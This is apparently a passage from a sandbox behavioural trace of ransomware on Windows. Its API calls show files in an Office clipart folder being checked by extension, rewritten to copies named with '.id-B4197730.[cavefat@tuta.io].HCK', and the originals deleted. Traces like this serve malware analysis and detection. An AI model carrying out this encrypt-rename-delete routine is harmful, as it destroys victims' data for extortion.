lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] lstrlenW (lpString=".doc") returned 4 [0242.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString=".docx") returned 5 [0242.772] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0242.772] lstrlenW (lpString=".pdf") returned 4 [0242.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString=".xls") returned 4 [0242.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.772] lstrlenW (lpString=".xlsx") returned 5 [0242.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0242.772] lstrlenW (lpString=".ppt") returned 4 [0242.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] lstrlenW (lpString=".zip") returned 4 [0242.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.772] lstrlenW (lpString=".rar") returned 4 [0242.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString=".bz2") returned 4 [0242.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString=".7z") returned 3 [0242.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] lstrlenW (lpString=".dbf") returned 4 [0242.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] lstrlenW (lpString=".1cd") returned 4 [0242.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] lstrlenW (lpString=".jpg") returned 4 [0242.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.772] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.772] lstrlenW (lpString="J0186360.WMF") returned 12 [0242.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.773] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=33850) returned 1 [0242.773] CloseHandle (hObject=0x558) returned 1 [0242.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 0x220 [0242.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.774] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.774] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.775] GetLastError () returned 0x0 [0242.775] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x843a, lpOverlapped=0x0) returned 1 [0242.777] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x8440, lpOverlapped=0x0) returned 1 [0242.778] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.778] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.778] SetEndOfFile (hFile=0x340) returned 1 [0242.778] CloseHandle (hObject=0x340) returned 1 [0242.778] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.778] SetEndOfFile (hFile=0x558) returned 1 [0242.780] CloseHandle (hObject=0x558) returned 1 [0242.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0242.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.781] lstrlenW (lpString=".doc") returned 4 [0242.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.781] lstrlenW (lpString=".docx") returned 5 [0242.781] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0242.782] lstrlenW (lpString=".pdf") returned 4 [0242.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString=".xls") returned 4 [0242.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.782] lstrlenW (lpString=".xlsx") returned 5 [0242.782] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0242.782] lstrlenW (lpString=".ppt") returned 4 [0242.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".zip") returned 4 [0242.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.782] lstrlenW (lpString=".rar") returned 4 [0242.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString=".bz2") returned 4 [0242.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString=".7z") returned 3 [0242.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".dbf") returned 4 [0242.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".1cd") returned 4 [0242.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".jpg") returned 4 [0242.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".doc") returned 4 [0242.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString=".docx") returned 5 [0242.782] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0242.782] lstrlenW (lpString=".pdf") returned 4 [0242.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString=".xls") returned 4 [0242.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.782] lstrlenW (lpString=".xlsx") returned 5 [0242.782] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0242.782] lstrlenW (lpString=".ppt") returned 4 [0242.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.782] lstrlenW (lpString=".zip") returned 4 [0242.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.782] lstrlenW (lpString=".rar") returned 4 [0242.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.783] lstrlenW (lpString=".bz2") returned 4 [0242.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.783] lstrlenW (lpString=".7z") returned 3 [0242.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.783] lstrlenW (lpString=".dbf") returned 4 [0242.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.783] lstrlenW (lpString=".1cd") returned 4 [0242.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0242.783] lstrlenW (lpString=".jpg") returned 4 [0242.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.783] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.783] lstrlenW (lpString="J0186362.WMF") returned 12 [0242.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.785] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=17662) returned 1 [0242.785] CloseHandle (hObject=0x558) returned 1 [0242.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 0x220 [0242.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.786] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.786] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.788] GetLastError () returned 0x0 [0242.788] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x44fe, lpOverlapped=0x0) returned 1 [0242.790] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4500, lpOverlapped=0x0) returned 1 [0242.791] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.791] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.791] SetEndOfFile (hFile=0x340) returned 1 [0242.791] CloseHandle (hObject=0x340) returned 1 [0242.791] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.791] SetEndOfFile (hFile=0x558) returned 1 [0242.795] CloseHandle (hObject=0x558) returned 1 [0242.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.796] lstrlenW (lpString=".doc") returned 4 [0242.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.796] lstrlenW (lpString=".docx") returned 5 [0242.796] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0242.796] lstrlenW (lpString=".pdf") returned 4 [0242.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".xls") returned 4 [0242.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.797] lstrlenW (lpString=".xlsx") returned 5 [0242.797] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0242.797] lstrlenW (lpString=".ppt") returned 4 [0242.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".zip") returned 4 [0242.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.797] lstrlenW (lpString=".rar") returned 4 [0242.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".bz2") returned 4 [0242.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".7z") returned 3 [0242.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".dbf") returned 4 [0242.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".1cd") returned 4 [0242.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".jpg") returned 4 [0242.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".doc") returned 4 [0242.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".docx") returned 5 [0242.797] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0242.797] lstrlenW (lpString=".pdf") returned 4 [0242.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".xls") returned 4 [0242.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.797] lstrlenW (lpString=".xlsx") returned 5 [0242.797] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0242.797] lstrlenW (lpString=".ppt") returned 4 [0242.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".zip") returned 4 [0242.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.797] lstrlenW (lpString=".rar") returned 4 [0242.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".bz2") returned 4 [0242.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString=".7z") returned 3 [0242.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".dbf") returned 4 [0242.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.797] lstrlenW (lpString=".1cd") returned 4 [0242.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0242.798] lstrlenW (lpString=".jpg") returned 4 [0242.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.798] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.798] lstrlenW (lpString="J0186364.WMF") returned 12 [0242.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.798] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=18212) returned 1 [0242.798] CloseHandle (hObject=0x558) returned 1 [0242.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 0x220 [0242.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.799] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.799] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.800] GetLastError () returned 0x0 [0242.800] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4724, lpOverlapped=0x0) returned 1 [0242.968] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4730, lpOverlapped=0x0) returned 1 [0243.107] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.107] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.107] SetEndOfFile (hFile=0x340) returned 1 [0243.108] CloseHandle (hObject=0x340) returned 1 [0243.108] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.108] SetEndOfFile (hFile=0x558) returned 1 [0243.110] CloseHandle (hObject=0x558) returned 1 [0243.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString=".doc") returned 4 [0243.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString=".docx") returned 5 [0243.111] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0243.111] lstrlenW (lpString=".pdf") returned 4 [0243.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString=".xls") returned 4 [0243.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.111] lstrlenW (lpString=".xlsx") returned 5 [0243.111] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0243.111] lstrlenW (lpString=".ppt") returned 4 [0243.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString=".zip") returned 4 [0243.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.111] lstrlenW (lpString=".rar") returned 4 [0243.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString=".bz2") returned 4 [0243.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString=".7z") returned 3 [0243.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString=".dbf") returned 4 [0243.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString=".1cd") returned 4 [0243.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString=".jpg") returned 4 [0243.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.112] lstrlenW (lpString=".doc") returned 4 [0243.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString=".docx") returned 5 [0243.112] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0243.112] lstrlenW (lpString=".pdf") returned 4 [0243.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString=".xls") returned 4 [0243.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.112] lstrlenW (lpString=".xlsx") returned 5 [0243.112] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 